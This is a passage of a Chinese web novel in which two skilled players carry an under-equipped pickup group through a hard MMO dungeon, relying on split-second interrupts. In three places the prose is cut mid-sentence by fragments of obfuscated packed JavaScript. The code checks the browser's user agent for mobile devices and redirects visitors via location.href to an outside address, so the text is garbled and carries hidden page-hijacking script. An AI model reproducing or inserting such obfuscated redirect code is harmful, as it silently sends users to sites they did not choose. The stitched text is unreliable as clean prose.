陆燃：“其实图纸副本少打一个CD确实无所谓，真正掉率低到100天不一定能刷出来的就是顶晶。” “而这个材料副本的背景设定是堕落的秘识教会神父搞出来的秘密基地，三个BOSS全是秘术师设定。” 江朗觉得，陆燃的语气有种他讲到这里他就该听明白了的感觉……江朗也觉得他该听明白了！毕竟他自己就是秘术师啊！不管陆燃想到的办法是什么，肯定和秘术师的特点有关，怎么想他这个秘术师本师都该最快反应过来吧…… 但是他觉得自己大概真的是太久没玩游戏了，只能诚恳地说：“我好像没懂。” 陆燃：“……” 陆燃：“虽然理论上《神域》不允许织灵者达成连控，技能真空期太长，不同织灵者的同个技能接连释放会叠掉后释放的一个，精神链接又有受到攻击就会失效的致命问题，打副本能做到的连控顶多九秒半，一轮技能循环则超过十五秒，但是，秘术师要读条。” “我刚刚算过了，只要每次都能卡着BOSS放技能的最后几毫秒断掉他的技能，这样下来刚好是够我一轮技能完成循环的。” 江朗：“我去！” 他立刻在心里算了下——还真是！ 他想起来了，这个高难本出来的时候打本团队里织灵者的地位史诗级提高，因为织灵者可以靠控制技能断掉BOSS几个伤害爆炸的范围性技能。 不过即使是这样，也没人想过陆燃这样的极端操作，首先正常织灵者只会点两三个控制技能，根本串不起来，其次就算是陆燃这样的极端技能选择的织灵者，也需要每次都“恰巧”在最后关头打断BOSS技能，才能达成让BOSS一个技能都放不出来的目标，大部分织灵者能不要做到打断失败就已经算是团内骨干了，一旦失误一次就是团灭结局，还是别冒这个险了。 而且这个高难本推出时的宣传点就是高智能，号称BOSS每一次都会采取不同的技能释放顺序，实际上也确实做到了这一点，根本不给人背板的机会。 陆燃想要完成这个没T没奶全靠他来控制住BOSS不要打出任何伤害的壮举，必须自己去看BOSS释放技能的手势，来判断它放的是什么技能，又有多长的读条。 说实话，听起来不像是人能做到的事。 但还是那句话，江朗对陆燃向来有种盲目信任——这种听起来就不像是人能做到的事，如果有人能做到，那肯定就是陆燃啊！ 江朗立刻兴奋了起来：“还真是！那我们两个，再招几个dps看得过去的玩家就可以进本了！” 陆燃点点头：“是的。” 一般想要比较顺利地打过周本，25人里，一个主T两个副T，两个奶妈，剩下的位置全是输出，打工团里还会空出两个位置给老板，因为他们的输出基本dps比较高，但也就只能缩减到17个输出左右了，再低就得开始磨了。 江朗的dps高，一个人能顶三四个常规输出，他一个人则占掉了T和奶的五个位置，剩下23个位置，只要能顶15个正常输出就够了，就算招募来的人再坑，应该也是能达成这个目标的吧。 陆燃一边算一边打开了那些进团申请，一个个点开看起了装备。 嗯，会来组野队的果然不太靠谱。 他默默地在心底做出评价。 不过他能全程控住BOSS的话，这些人连原本必要的走位都不用走，输出空间又能宽裕一点，装备差点也没事。 于是他稍微挑拣了一下，放了二十几个人进团。 “啊啊啊啊谢谢团长愿意带我！” “泪流满面！居然真的有团收留！” 队伍频道里，瞬间刷出了好几条这样的消息。 这个时间还没找到团打本的，水平和平时组队的待遇可想而知。 但是他们兴奋还没多久，就发现—— 嗯……？ 这个团虽然看上去人很多，满满当当地塞满了25个格子，但是仔细一看——这职业组成，不太对啊。 立刻有人狐疑地提问： “呃……我们团怎么没医生？” “还没血肉战士，呃，这是打算让谁T？” 一时间，刚刚还感激涕零觉得自己终于有团收留了的玩家们，纷纷怀疑起自己是不是进了什么坑人的野队里。 但是一般野队坑人，也应该是进了本才开始坑呀，怎么有上来就连组队都组不明白的？35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373207|168215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陆燃发了条消息，是一连串的数字相加。 “呃……这是什么意思？” 陆燃的下一句话过了会儿才发出来，他详细解释了一番自己的思路，顺便把他的技能贴了一遍，方便不了解织灵者的玩家看技能CD。 “……” “……” 队伍频道里，有一瞬间的沉默。 我靠！这什么神人啊！——礼貌点的在内心吐槽。 不怎么礼貌地就直接队伍频道开骂了： “哥们你之前下过本吗？” “我怎么感觉你这个ID有点眼熟？哦我想起来了，那个吹得很玄乎的PVP大神是吧，我说你们PVP玩家能不能尊重一下副本，别老拿自己的思路想当然来套？” “你玩我是吧？我靠，服了，我就知道周日下午不会有正常的队伍” 这几位属于压根懒得看陆燃的计算公式的，直接默认他是脑残，发完消息就直接退队了。 不过也有认真算了公式发现确实对得上的人，只是对得上也不妨碍他们觉得这个思路不现实。 “哥们，这是实战啊，你这什么excel战神计算方式？我们就不能搞点正常的打本路线吗” [燃风]：“这个时间段你去哪里找靠谱的T和奶？” 他这一句话把对面干沉默了。 还真是，要是他们能找到靠谱的T奶，早就组起队伍了，还至于在这期望有队伍能收留一下他们吗？ [燃风]：“反正如果过不了第一个BOSS，就不会进CD，我做不做得到，去副本里看看不就知道了吗？” 还真是，陆燃这句话说服了还留在队伍里的大部分人。 去试试……倒也没啥损失？ 反正这思路听起来，团灭会非常快，野队最怕的就是打几个小时发现还是打不过去，或者好不容易磨完第一个BOSS，却发现后面两个BOSS打不过去了，这时候周本已经进CD了，也没法再去组别的队伍。 这两种顾虑，在这个团里都不存在，反正只要这个叫燃风的织灵者失误一次，他们就可以打道回府了，但是如果他真的成功了……呃，虽然没什么可能，但是万一呢？ 那他们以后就可以吹自己打过无T无奶的高难了。 一时间，倒也没人再退队了，陆燃又放了几个人进来，团队里的聊天记录他们也都看得到，有人选择离开，也有人选择留下， 这么反复好几次，25人团满了。 [燃风]:“出发吧。” 6. 第 6 章 虽然《神域》大部分的日常周常都要靠自己一双腿跑——这点让无数玩家吐槽过，但副本还是贴心地做了传送的，一群人直接传送进了副本内。 就是出来之后得自己跑回主城而已。 《神域》的场景做得向来精细而且很有氛围感，六座主城各有特色不说，还极具宗教感，野外和副本的场景则多了很多诡异与恐怖元素。 他们一传送进来，就是一片荒郊野岭，屏幕上漂浮着每个副本和野外场景都会有的，象征着诅咒之力的淡棕色烟雾和丝丝缕缕的黑色细线。 往里走几步之后，这些烟雾和细线就退到屏幕边缘了——总不能老让玩家隔着一层打游戏吧，意思一下得了。 背景音里，则是一些听不出到底是人还是动物的凄厉喊声，听起来既像是痛苦的嚎哭，又像是愤怒地大喊，也像是喜悦到有些癫狂的笑声。 声音给人带来的体验永远是最直观也最不受理智控制的，哪怕知道这只是屏幕里一个虚拟游戏的背景音而已，甚至这些玩家听这BGM都都不知道听过多少次了，他们的第一反应依旧起了一身的鸡皮疙瘩。 不过这毕竟是个网游，而不是主打恐怖效果的单机游戏，在场大部分人都知道一会儿会冒出来吓人的小怪在哪个位置了，而且都是奔着刷材料刷装备来的，我管你这那的，没多久这点恐怖氛围就被他们抛在了脑后，开开心心地跑去清小怪了。 陆燃刚要打字“别急，小怪让我和[三重纽带]来清”，就发现这群人窜出去的速度居然比他打字的手速都快。 陆燃：“……” 江朗躺在陆燃床上端着自己的笔记本：“他们是不是这就已经忘了我们没奶妈了……” 陆燃：“应该是吧，算了，等他们死回来再说。” 高难本，就连门口的小怪对普通玩家都是稍显难缠的，经过设计师的精心计算与设计，[秘识之厅的堕落神父]这个副本里的开门杀小怪刚好是一个普通dps一轮输出还要剩点血皮的血量，而且数量众多，打了一个会引来好多个，有奶妈的时候倒是可以没指挥大家乱打，但是他们这个团一个奶妈都没有啊，这群人也不知道急匆匆地跑上去干什么……找死吗。 而且就这么一下，陆燃和江朗就看出了他们这个临时拉起来的团里有多么神人辈出。 跑也不跑直接挨小怪一个小范围强力攻击导致一秒下了半血的。 一个闪现冲进了怪堆的。 吟唱半天空大的。 本来不会空大但是被队友一个拉怪然后空了的。 真是群贤毕至…… 没几秒，第一个倒霉鬼就已经复活回副本门口，接着就是第二个……第三个…… 这群复活回来了的玩家终于看见了队伍频道里陆燃发的那条“没奶，小怪你们别打，我和三重纽带来打”，一时间有点尴尬。 尤其是那些死前操作太抽象的，一时间非常不好意思，副本外的时候他们还在质疑燃风会不会打副本，结果进来自己先空了个大/脸接了个大招，太尴尬了…… 心虚与尴尬让他们格外听从陆燃的指挥，乖乖待在门口不动了。 陆燃和江朗则操作着自己的角色向前。 其他人无事可做，就看着他们操作。 随着秘术师开始吟唱，荒草地上方逐渐凝聚起了一个黑色的圆环，这是秘术师的标志性大招——湮灭之环，以其长达三秒的超长读条时间和配得上这个读条时间的爆炸伤害出名。 眼看着那一圈黑色越来越凝实，即将落下，在后头围观的玩家们不禁有些奇怪——不是，这织灵者掉线了吗？怎么还不放技能？ 这个叫燃风的织灵者说，没奶，他们别上，让他来，这句话的意思很明显，这边的小怪多，血也比较厚，不是一个技能就能收走的，攻击又高，没奶妈的情况下，他们这些脆皮输出可不是挨几下就要死吗？ 所以最好是由织灵者控住怪，给秘术师创造输出环境。 织灵者不第一时间放技能的理由，他们也理解，毕竟秘术师出了名的读条时间长，让秘术师先读个一两秒的条他再放技能也来得及，不浪费CD嘛——但是秘术师的大招都已经落下了！ 这个织灵者果然是掉线了吧！ 但就在他们准备迎接两位死回副本门口的时候，白光一闪，一道技能刚好赶在秘术师的湮灭之环落地前率先覆盖在了草丛里尚未蹦跶出来的怪物上。 “我草？？” “不是哥们，有必要这么极限吗？” “我了个……” 后头围观的玩家看得目瞪口呆，一时间忍不住在电脑屏幕前惊呼出了声…… 其中一个玩家不禁想起了以前在官网论坛上看过的一个讨论——那时候有玩家好奇《神域》的伤害判定到底是在技能释放出来那一刻，还是在技能特效碰到怪物或者对手的那一刻，当时贴子里吵得不可开交，但最后也没个定论。 他突然想到，好像一会儿可以上这个老帖给大家解个惑了…… 陆燃不知道这些人在想些什么，毕竟他们是在电脑屏幕前“我草”的，没打在队伍频道里，而就算他知道，估计也只会说——谁让游戏设计师给织灵者设计技能时间的时候抠抠搜搜的，为了充分利用技能他和江朗早就这么干过很多次了，这有什么好大惊小怪的。 江朗读完大招条接着读下一个技能的条，挪都懒得挪一下，虽然他的技能打出了伤害后，陆燃控制范围以外的那些怪都暴动了起来，朝他飞速移动而来——无所谓，陆燃会处理，他只要负责打伤害就好了。 陆燃没急着出手，而是等大部分怪物都进了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373208|168215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑内早就想好的范围，才续上下一个技能。 后面的玩家看爽了——这慢条斯理但精确无比的操作，看得太舒服了。 突然间，他们对燃风之前的思路多出了一大截信心。 怎么感觉……他真的能做到他所说的事呢？ 没过多久，所有的小怪在陆燃轻微的走位调整之后都进了他的控制范围，江朗则负责一个又一个技能无脑往下砸，没十几秒，小怪就清干净了。 [燃风]：“可以了。” 他话说完后，过了两秒才陆续有人动起来——他们还沉浸在刚刚那十几秒的“表演”中。 好高的伤害，好默契的配合，好行云流水的拉怪，好精准的位置和时机控制，简直就是享受！ 事后看来，就连这两个人一开始选定的站位都只是看似随意而已，其实应该是精挑细选过的，刚好可以让秘术师一步都不用挪动就把所有的怪都拉了打了，只需要织灵者一些小小的走位调整而已。 叹服。 真的服气。 “大佬，你这怎么练的啊？” 转眼间已经有人改口叫大佬了。 “我去，我刚刚在论坛查你，大佬你这么厉害的吗，46级越级强杀满级玩家？” 在此之前有一个认出陆燃这个ID的人阴阳怪气地喊了他一句“PVP大神”，因为他很快退队了，大多数人也就没把他这句话放在心上，每个服的高手大神多了去了，普通玩家哪有那个闲工夫一个个了解八卦——江朗这种直接挂战力榜上的倒是比较容易眼熟。 但在看完他刚刚的表演后，立刻有人想起了之前那句阴阳怪气的“PVP大神”，外加闲站着也是闲站着，就去论坛搜了一下，瞬间震惊了。 [三重纽带]：“那可不！这就叫操作与意识！当时被打的是谁来着？我忘了，总之他该庆幸[燃风]没时间练级，不然早两三下给他送走了！” 陆燃还没说啥，江朗倒是积极地回复起来了，语气里得意与骄傲，就跟被夸的是他一样。 陆燃：“……” 两三下什么两三下啊，虽然这么多年他早就习惯了江朗对他的盲目信任和盲目吹嘘，但是江朗也不能连自己最熟的游戏设定都无视吧，他总共就没点两个伤害技能，就算有等级有装备，结果上也不会有什么差别的。 “大佬，您收徒吗？能不能教教我，太帅了！我也想学！” “我也想我也想！” [三重纽带]：“这你们学不来的，[燃风]他这是天赋，别人读秒他读毫秒” [三重纽带]：“我跟你们说” 陆燃：“……” 眼看着江朗起了谈兴，一眨眼就要跟这群人聊起来了，陆燃直接打断—— [燃风]：“我开门了，进去吧。” 7. 第 7 章 开门，指的是打开了地道的门。 这个副本的设定是，一位秘识教会的神父克制不住对那些他本不该触碰的奥秘的渴望，于是不顾教会原则，在主城不远处建立了一个秘密基地，时不时就偷溜出来“做实验”。 为了让这个基地够秘密，他挖了一个地下室，地下室上方倒没做什么特别的伪装，单纯只是这地儿本来有什么被诅咒的堕落之物，他就让它们接着存在了，毕竟普通人连出城都不敢，职业者更多的也只是对抗那些试图入侵主城的怪物，外面这些数也数不尽，杀也杀不光的“安分”怪物，他们一般不浪费那个力气。 只能说不愧是资深神父，其他人避之不及的怪物丛生的地方，他拿来当作秘密基地用。 而这个秘密基地也真就好好运作了十几年没出一点意外。 但这十几年间，神父对那些不可触碰不可学习的奥秘的学习进度却完全没有达到他的预期。 或者说，“没有达到预期”已经算是很好听的说法了，他其实根本没有任何进度。 这个世界里，所有可获取的知识数量是固定的，六位正神在沉睡前赐下了部分权柄和知识，这些是可使用可学习的，其余的就都不是。 所有人不得触碰，也不得学习，甚至不得想到那些只是，因为只是想一想，就有可能被创世神留下的诅咒之力影响。 所以这个世界的人，只有被教授已有知识的体验，而没有探索未知知识的经历。 这位神父因此大大错估了从无到有创设一个新仪式的难度。 于是这么徒劳无功的十几年过去，神父急了，他开始动用一些非常手段，比如说——人体实验。 在虚空中推演的难度过大了，他需要可视的效果来改进自己的仪式。 他偷偷抓来了一些消失了也不会有人注意到的贫民窟孩子，拿他们作为实验品继续自己的仪式研究。 进度果然比从前快了许多，神父大喜，但是实验的进度是快了，风险却也增加了，一次实验中，异变从其中一个孩子身上开始，而后整个秘密基地都沦陷了。 他们刚刚打的小怪，是这个秘密基地外部的怪物。 打完之后可以在地面上找到一块颜色明显有不同的地方，按F掀开板子，就能走地道进入神父的秘密基地了。 副本的最终boss，也就是神父的所在处，是他的实验室加书房。 前两个Boss的所在处则是关押试验品的地牢。 陆燃刚刚就是在江朗和其他人吹他的时候，找到了这块可掀开的地板，招呼其他人别聊了，赶紧下来打BOSS。 “来了来了！” “大佬我们来了！” 队伍频道明显活泼了很多，陆燃刚刚的小露一手让玩家们对他的信心大幅提高，几分钟前还看起来非常不靠谱的方案，现在已经成了“大佬就是艺高人胆大”。 大家在陆燃的招呼下，顺着地道鱼贯而入，走下一道坡之后，就来到了第一个BOSS所在地。 这第一个BOSS该怎么形容呢？ 很难称呼它为“一个”BOSS。 出现在地牢中央的，是一个众多小孩的混合物。 他们黏在一起，身体血肉互相交融，脖子融合得比较好，基本像是只有一条脖子了，但脖子上方还长着许多个脑袋，这些脑袋大多并不完整，好一点的，剩了大半个脑袋，差一点的，只剩了一些器官，眼睛鼻子嘴巴耳朵胡乱地拼贴在最近的脑袋上。 没开怪之前，这些脑袋就那么安静地垂着，像是睡着了一般，睡颜甚至可以说是有些乖巧。 不过虽然他们的睡颜都很安详，诡异的外形还是让人第一反应是——我草什么鬼玩意儿，赶紧打死。 散落在BOSS场地周边的，是一些七零八碎的白骨，异变爆发的时候，地牢里有些孩子异化成了怪物，另一部分则成了尸骨。 开怪后BOSS的第二阶段，也就是血线下30%之后，BOSS会随机召唤周围的白骨复活，对玩家进行攻击。 看到这个BOSS，好几个玩家才想起这个设定，在队伍频道里问道： “大佬，那二阶段咋办，这些小怪又不读条，你技能循环会有真空期的吧？” “对啊对啊，那咋办呢？我们轮番吸引小怪仇恨，然后一个个死？给你们俩争取时间？” 如果说他们是在进副本前想到这个问题，质疑的态度不会如此和缓，或者说，大概率会直接觉得这个计划果然没有可行性，容错率实在太低了。 但是在看过刚刚陆燃的操作之后，他们已经不再将没奶没T打过这个本视作不可能完成的任务，面对这种额外的问题，甚至已经开始思考起了怎么做才能补漏。 [燃风]：“其实是够的，时间其实没有我发出来的那个算式那么紧，[精神链接]受攻击时才会失效，你们到时候只要跟着[三重纽带]一起停手就行，给我点时间转CD” 队里众人恍然大悟——好像还真是哦，[精神链接]这个织灵者的大招太特殊了，特殊到只能在PVP里发挥自己的全部功效。 [精神链接]：织灵者可以控制其他人的心灵，并操纵他们以自己的意愿行动，精神链接像网一样以释放者为中心将所有人链接起来 具体效果：对释放范围内所有对象进行控制，并可以任意选择或切换一个对象（不包括BOSS类对象）进行操作，持续时间12s或持续到任一对象受到攻击为止，技能CD30s。 因为它是个长时间群控技能，甚至还能让织灵者操作对面的任一角色，如果没有任何限制，那织灵者就太影响职业平衡了，所以设计者想方设法地给它加上了各种限制，比如超长的CD，比如受击就会失效的设定，比如技能描述里“操控受精神链接的个体”这个部分特意打了个括号说明对BOSS不起效。 PVP里织灵者可以借着这一手实现长时间群控，逃跑或者做别的都很方便。 PVE里就没什么用，控住BOSS就为了不打它吗？ 如果是铁了心只玩PVE的织灵者，甚至会考虑不点这个是职业名字来源的标志性大招，因为在副本里实在没用，虽然这么做的人很少，因为真的铁了心不玩PVP的人，很少会选这个PVP大优势PVE大劣势的职业。 总之，精神链接这个技能陆燃在算的时候并没有计入算式中，其他人也默认了这个技能不计入时长。 但众玩家现在一想——对哦！他们又不是其他团，赶时间，追秒伤，他们只要能过就行，浪费点时间怎么了？谁打野队不是几个小时起步？ 唯一的问题反而是即使加上这个大招，燃风的容错率依然很小，因为它30s的CD就注定了他不能每轮都缓。 而且这也对在场其他人的操作产生了一点要求…… 虽然听起来是很麻烦的要求，但一想到这两位大佬承受的操作压力要比他们大多了啊！如果这点事都做不好！那他们就真成吃白饭的了！——一群人瞬间燃起了斗志！ 好在陆燃很体贴，不打算给他们上太多难度。 [燃风]：“上YY，[三重纽带]会提前告诉你们什么时候要停手，前70%随便打，不用停手。” “！！！好！” 众玩家又是松了口气又是隐隐有点兴奋，其实他们很好奇，燃风和三重纽带的配合过于默契了，默契到让人怀疑他们在连麦的程度，好想从旁围观一下啊……现在真能围观了！ 于是他们纷纷涌进了燃风给出的YY频道里。 人齐了之后，一道……该怎么形容呢，一道流淌着的金玉一般的男声响起：“你开怪吧。” 屏幕上，[三重纽带]这个秘术师开始读条，其他人小心翼翼收着自己的技能，打算确保[三重纽带]落到BOSS身上再攻击。 熟悉的湮灭之环落到了BOSS身上，他们不像燃风那么艺高人胆大，于是落后了一两秒才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373209|168215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始攻击，反正不缺他们这一两秒的输出。 BOSS身上陆续亮起了数只红色的眼睛，低低的充满着仇恨情绪的怒吼从四面八方响起，带着耳机的玩家能明显感受到立体音的音效。 可惜，这个怪物长了个无比奇怪的造型，技能却很常规——神父作为一个没有创新的世界的本土居民，实在做不出什么特别创新性的研究，于是开始做杂交实验，[书]掌管的知识权柄与[死者]掌管的死亡权柄的杂交，勉强做出来了一个同时掌握秘术师技能和召唤亡灵技能的实验体——做完还立刻暴走了。 打过这个副本的玩家都觉得这个神父不是很有科研潜力。 BOSS无意义的低吟，也就是给玩家的一小段随意输出的时间过去后，他开始吟唱攻击咒语了。 因为江朗是秘术师，所以陆燃对秘术师的技能很熟悉，再加上他刚刚还特意去官网回顾了一下秘术师的宣传片，所以这个BOSS刚发出第一个音节，身体刚有第一个动作，他就判断出了它要释放的技能是什么，技能的吟唱时间又有多长——2.6秒，其实江朗之前倒也不是瞎吹他，他确实擅长数秒，数这2.6秒对他来说是可以轻易做到的事，不过没必要，秘术师吟唱要结束的时候有个不太明显的后摇，和吟唱咒语的最后一个音节基本同步，他不管是看这个后摇，还是听这个音节，都要比真的去数秒轻松得多，反正他的反应能力够快。 “……卡拉。” BOSS读到了咒语的最后一个音节，一片黑色的阴影逐渐在众玩家脚底集结，这是秘术师名为“吞噬”的法术，范围不大不小，而且读条期间就会有范围显示，和湮灭之环一样属于比较好躲而且最好躲开的技能，大部分团的团长都会指挥大家提前避开，挨一下的话脆皮输出就只剩个血皮了。 现在也有玩家看见脚底下的技能范围显示，下意识就蹦蹦跳跳地窜开了，不过他们刚跳开就反应了过来……我费这力干啥呢？ 因为燃风的技能如约而至，打散了那已经快彻底凝结的一片黑色。 于是接下来就没人挪动了——摆！有燃风兜底，躲什么技能啊！真是吃饱了撑的！ 转眼间，十几分钟过去。 “我靠，大佬你是机器人吗？这么久了居然一点失误都没有……” 终于有人忍不住在队伍频道问道。 十几分钟啊！ 说实话，大家都做好了心理准备的——失误重来，或者技能没卡好，通知他们停手，好让他用[精神链接]稍微缓一缓。 结果完全没有啊！！！ 怎么真就有人十几分钟维持着高难度操作且一丝一毫的失误都没有？这还是人吗？！ 有人带头，其他人也开始在队伍频道里激动了起来。 尤其是那些读条时间长，有的是时间摸鱼的秘术师。 “我靠！大佬实在不行你失误一下吧，拿精神链接缓缓吧，我们绝对听从指挥啊！倒也没有必要这么让着我们！” “我看都看累了这是能说的吗……” “我靠，俺心服口服！” 陆燃“嗯？”了一声：“不是本来就说好前百分之七十你们什么都不用注意，就输出就可以了吗？” 陆燃的话让屏幕前的众人直呼卧槽——话是这么说，但谁能想到你是真的一点不失误啊！我们还以为这是个有难度的挑战，已经脑补好了死去活来好几次然后终于成功大家欢呼雀跃上论坛发帖炫耀的场面了好吗？！谁能想到这高难操作对你真的是吃饭喝水的难度啊？！ “话……话是这么说……大佬你可以理解为我们实在太安逸了感觉很不好意思……” “哦。”陆燃顿了下，“没事，再十五分钟你们就有事做了。” 众玩家无语凝噎——听听，听听，大佬就是大佬，甚至没考虑过之后这十五分钟会失误的可能…… 装逼的玩家他们见多了，用最普通的语气讲最装逼的话的玩家真是头一次见…… 8. 第 8 章 “准备。” 陆燃的声音再次从麦上淌了出来。 众人齐齐打起了精神。 屏幕里，地牢中央，被控了大半场又被打断了剩下半场的BOSS一脸愤怒，在暴走边缘——其实只是到阶段了，但是玩家们总觉得从未觉得BOSS脸上的愤怒如此实质如此有理有据过。 谁次次用技能都被打断能不生气啊！气都气死了吧！ 血线下到30%的那瞬间，地牢周围的森森白骨动了起来，先是几块骨头的耸动，然后七零八碎的骨头们自己主动寻找起了自己本应所属的骨架，将自己拼好之后，慢慢地朝玩家们走来了。 “三重纽带喊停的时候你们就停手。” 玩家们瞬间打起了精神。 他们看着三重纽带这个角色往前了好几步，基本站在了Boss脸上——这是真的当T去了。 怪的仇恨都在他身上，他离Boss越近，陆燃就越容易将Boss和小怪同时控制住，其他人也就不用太考虑走位问题。 陆燃也打起了精神，如果说之前他只需要确保打断时机的准确的话，接下来就是真正的挑战了。 不能漏怪，亡灵小怪的血线虽然不高，但也不是靠短时间能集火打死的，江朗的仇恨太高，一旦漏怪，被攻击的就是他，他装备太好，脆皮得不行，根本扛不住几下攻击，而他死了的话，他们就可以拉脱重开了——这剩下的人dps要磨到猴年马月去。 而更多的精力则要放在什么时候放精神链接这个技能上，算错一次也是重开的结局。 紧张又安静的十来秒过去。 “停。” 麦上响起了另一个男声，听起来就像是年轻阳光的男大学生，就是不知道为什么听起来有点累，这个点明明还很早，大周日的，很多大学生应该这个点才起吧。 所有人立刻光速停手，各个秘术师手忙脚乱地取消自己的读条，近战甚至蹦蹦跳跳地往后退了好几步，生怕自己手滑误伤。 屏幕上三重纽带的读条到还在继续，他的最后一个大招落下时，燃风身上闪烁出星星点点的光芒，像蛛丝一样将在场所有怪物都链接了起来。 这就是织灵者的大招精神链接了。 “我去，你们俩都不用沟通一下的吗？” 不用放技能了，又有闲得没事做的玩家在队伍频道唠嗑了。 不过也不怪他忍不住发问，燃风从刚刚开始就一个字都不往外蹦，而他们本来以为三重纽带是看燃风打算什么时候放精神链接就提示他们停手，但他刚刚的操作打破了他们的这个预期，与其说三重纽带是在“看”燃风什么时候要放精神链接，不如说他在预判，提前让他们停，秘术师的最长读条时间是3秒，为了防止有哪个秘术师慌乱中没能取消读条，所以他提前了三秒喊。 这三秒他倒是不浪费，插了个湮灭之环进去。 该怎么形容呢……让人很奇怪啊！因为燃风没有提前说他要放精神链接了，也就是说三重纽带和燃风是同步计算燃风的CD——不觉得很麻烦吗？！沟通一下不会省事很多吗？ “啊？”YY里传来一个迷惑的男声，“不用沟通啊，我和燃风一直这么打的。” ……莫名感觉被秀了一脸是怎么回事。 有玩家默默在屏幕前擦了擦汗。 这默契真吓人，这两个人不光熟悉自己的技能，就连对方的技能也跟是自己在用一样熟悉。 “好了，动手吧。” 三重纽带的声音刚响起，他自己的技能已经提前落到了Boss和小怪身上，一点不浪费dps，其他人连忙跟上。 虽然也有人想学一下这俩人的精打细算，但一想到万一玩脱了，那大伙就要重开了……算了算了，还是看他们俩秀吧。 “停。” “动手吧。” 时间就在三重纽带时不时的一出声中过去了，一开始玩家们还挺紧张的，生怕自己手欠了失误一个，后来就发现，三重大佬太体贴了，完全不给他们任何犯错的机会，每次都是提前喊停靠后喊开始，他们很快就都放松了下来，重新进入了无脑打怪的环节中。 这最后30%血打了和前70%血一样的时间，因为要停下来的时间太多了。 他们又看了半小时燃风的表演。 看到最后他们人已经麻了。 如果不是《神域》测挂测得很严，他们真的很想大喊一句——大佬你真的没开挂吗！ 实在不行你骗我们一下你开了挂吧…… “啊啊啊啊啊——” 一声凄厉的，带点磨砂质感的尖叫声中，Boss轰然碎裂，原本黏在一起的躯体慢慢地化作腐肉脱落，落到地上，就成了一堆分裂的尸体。 幸好这个有些恶心的Boss尸体没在屏幕上停留多久就直接刷新消失了，只留下一个宝箱。 陆燃开启宝箱，看了一下都掉了什么。 两个高难本，除了掉打造最顶尖的那批装备的图纸和材料，还会掉落一批过渡装，基本上也是这版本第二好的一套装备了。 [燃风]：“我要大材料，剩下的你们roll还是拍？” 他是这个团能过这个本的关键，他把材料全拿了也没人会有意见，更何况他还留了点小材料给其他人，众玩家纷纷表示没问题，至于roll还是拍。 “roll吧roll吧，方便点？” “我都行，今天来这一趟就已经值了，装备什么的已经不重要了！” “是的！！大佬我全程录屏了，你介意我待会儿上传到论坛上去吗？” 陆燃还没说什么，江朗已经光速回复了这句话： [三重纽带]：“别光发我们的论坛呀，视频网站也可以传一传，上传完了发我个链接谢谢，我给你买推广” “……我去” “……？” 众玩家一时脸色古怪——有点自恋了哥们。 陆燃倒是立刻想到了江朗要做什么。 屏幕前的江朗一拍手，兴奋地说：“万一视频火了，没准还能拉点人来玩《神域》！” 果然。 他就知道江朗现在是一门心思想着要多推广一下《神域》这个游戏。 陆燃给他们roll完装备，然后把大材料都收进了背包，一伙人朝前走去。 地牢和神父的实验室之间隔了一道门，这道门本来由神父下了禁制，但现在神父已经变怪物了，禁制失效，这就是道普通的木门，而且因为时间流逝，已经破破烂烂了，连钥匙都不需要，就钻过去就行。 从阴暗潮湿的地道往里走，他们来到了神父真正的秘密基地，那是一个极具秘识之厅风格的书房兼实验室。 四面墙壁上到处都是秘识之厅的标志——一个底边是对称波浪图案的三角形，看上去有点像一本书撑起了一座金字塔，除此以外，室内的其他布置也和教会里差不多，如果是不明真相的人走进来，绝对会以为这里是秘识之厅的什么分部。 只能说，神父虽然犯着禁，但对教会的身份认同感还是非常强烈啊。 已经沾满了灰的地面上，依稀可以看见一个诡异的图案，圆形里塞满了各种各样的字母与符号，然后看似杂乱无章的线条却微妙地将观者的视线引到了某一处——这个圆的圆心旁边一点的地方，那种不平衡的感觉让人看了非常难受。 而就在这个视线汇聚之处，是一件黑袍。 秘术师的标志性装束。 “开怪。” 陆燃话音落下，江朗的技能就落到了那黑袍之上。 黑袍无风而动，像是在快速充气的气球一样飘了起来，然后骨架，血肉和腐肉都从里面长了出来。 虽然长到最后，也不是一具完整的尸体，神父的大半骨架都空荡荡的，上面一块肉都没挂着，比如头骨下半部，就一点肉都没有，嘴巴空荡荡的，只能看见颌骨和牙齿，头骨的上半部分倒是覆盖着□□，只是有些是看上去生机勃勃的血肉，有些则是灰绿色的充斥着腐烂气息与虫蛆的腐肉。 这是他试图杂交[书]与[死者]这两位神明的权柄的后果——把自己变成了半死不活的僵尸。 他的颌骨上下张合，无声地念起了曾经熟悉的咒语。 陆燃早已捏着的技能及时落下，打断了他的攻击。 一回生二回熟，众玩家麻溜地跟上攻击。 